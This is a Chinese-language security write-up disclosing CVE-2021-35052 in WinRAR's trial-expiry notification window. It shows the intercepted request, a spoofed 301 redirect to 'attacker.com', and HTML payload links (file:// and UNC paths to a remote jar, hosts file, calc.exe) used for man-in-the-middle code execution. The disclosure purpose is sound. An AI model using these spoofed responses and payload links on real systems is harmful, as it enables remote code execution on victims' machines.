WinRAR 试用版中的一个漏洞,该漏洞对第三方软件的管理具有重大影响。此漏洞允许攻击者拦截和修改发送给应用程序用户的请求。这可用于在受害者的计算机上实现远程代码执行 (RCE)。它已被分配 CVE ID 为 CVE-2021-35052。
背景
WinRAR 是用于在 Windows 操作系统上管理存档文件的应用程序。它允许创建和解压常见的存档格式,例如 RAR 和 ZIP。它作为试用件分发,允许用户在设定的天数内体验应用程序的全部功能。之后,用户可以继续使用禁用某些功能的应用程序。
发现
我们在 WinRAR 5.70 版本中偶然发现了这个漏洞。我们已经安装并使用了一段时间的应用程序,但它产生了一个 JavaScript 错误:
这是令人惊讶的,因为错误表明 Internet Explorer 引擎正在呈现此错误窗口。
经过几次实验后,很明显,一旦试用期结束,大约有一次 WinRAR.exe 应用程序启动会显示此通知窗口。该窗口使用 mshtml.dll 实现,用于编写 WinRAR 的 Borland C++。
我们将本地 Burp Suite 设置为默认的 Windows 代理,并尝试拦截流量并了解更多关于发生这种情况的原因以及是否有可能利用此错误。由于请求是通过 HTTPS 发送的,WinRAR 的用户将收到有关 Burp 使用的不安全自签名证书的通知。但是,根据经验,许多用户单击“是”继续使用该应用程序。
查看请求本身,我们可以看到 WinRAR 应用程序的版本(5.7.0)和架构(x64):
[AppleScript] 纯文本查看 复制代码 GET /?language=English&source=RARLAB&landingpage=expired&version=570&architecture=64 HTTP/1.1
Accept: */*
Accept-Language: ru-RU
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)
Host: notifier.rarlab.com
Connection: close
Cookie: _wr=; _gid=; _ga=
修改对最终用户的响应
接下来,我们尝试修改从 WinRAR 到用户的截获响应。我们没有每次使用我们的恶意内容拦截和更改默认域“notifier.rarlab.com”响应,而是注意到如果响应代码更改为“301 Moved Permanently”,则重定向到我们的恶意域“attacker.com”将被缓存,所有请求都将转到“attacker.com”。
[AppleScript] 纯文本查看 复制代码 HTTP/1.1 301 Moved Permanently
content-length: 0
Location: [url]http://attacker.com/?language=English&source=RARLAB&landingpage=expired&version=570&architecture=64[/url]
connection: close
远程代码执行
这种中间人攻击需要 ARP 欺骗,因此我们假设潜在的攻击者已经可以访问同一个网络域。这将使我们进入 IE 安全区域的区域 1。我们尝试了几种不同的攻击媒介,以了解这种访问的可行性。
[AppleScript] 纯文本查看 复制代码 <a href="file://10.0.12.34/applications/test.jar">file://10.0.12.34/applications/test.jar</a><br>
<a href="\\10.0.12.34/applications/test.jar">\\10.0.12.34/applications/test.jar</a><br>
<a href="file://localhost/C:/windows/system32/drivers/etc/hosts">file://localhost/C:/windows/system32/drivers/etc/hosts</a><br>
<a href="file:///C:/windows/system32/calc.exe">file:///C:/windows/system32/calc.exe</a><br>
<a href="file:///C:\\windows\\system.ini">file:///C:\\windows\\system.ini</a><br>
上面的代码描述了欺骗响应,显示了几种可能的攻击向量,例如运行应用程序、检索本地主机信息和运行计算器应用程序。
大多数攻击媒介都成功了,但应该注意的是,许多攻击媒介会导致额外的 Windows 安全警告。为了使这些成功,用户需要单击“运行”而不是“取消”。
但是,有些文件类型可以在不出现安全警告的情况下运行。这些是:
• .DOCX
• .PDF
• .PY
• .RAR
对于 5.7 之前的版本,可以在 WinRAR 中使用 RAR 文件远程执行代码。这可以通过众所周知的漏洞 CVE-2018-20250 来完成。
结论
组织面临的最大挑战之一是第三方软件的管理。安装后,第三方软件有权读取、写入和修改访问公司网络的设备上的数据。审核用户可能安装的每个应用程序是不可能的,因此策略对于管理与外部应用程序相关的风险以及平衡此风险与各种应用程序的业务需求至关重要。管理不当会产生广泛的影响。 |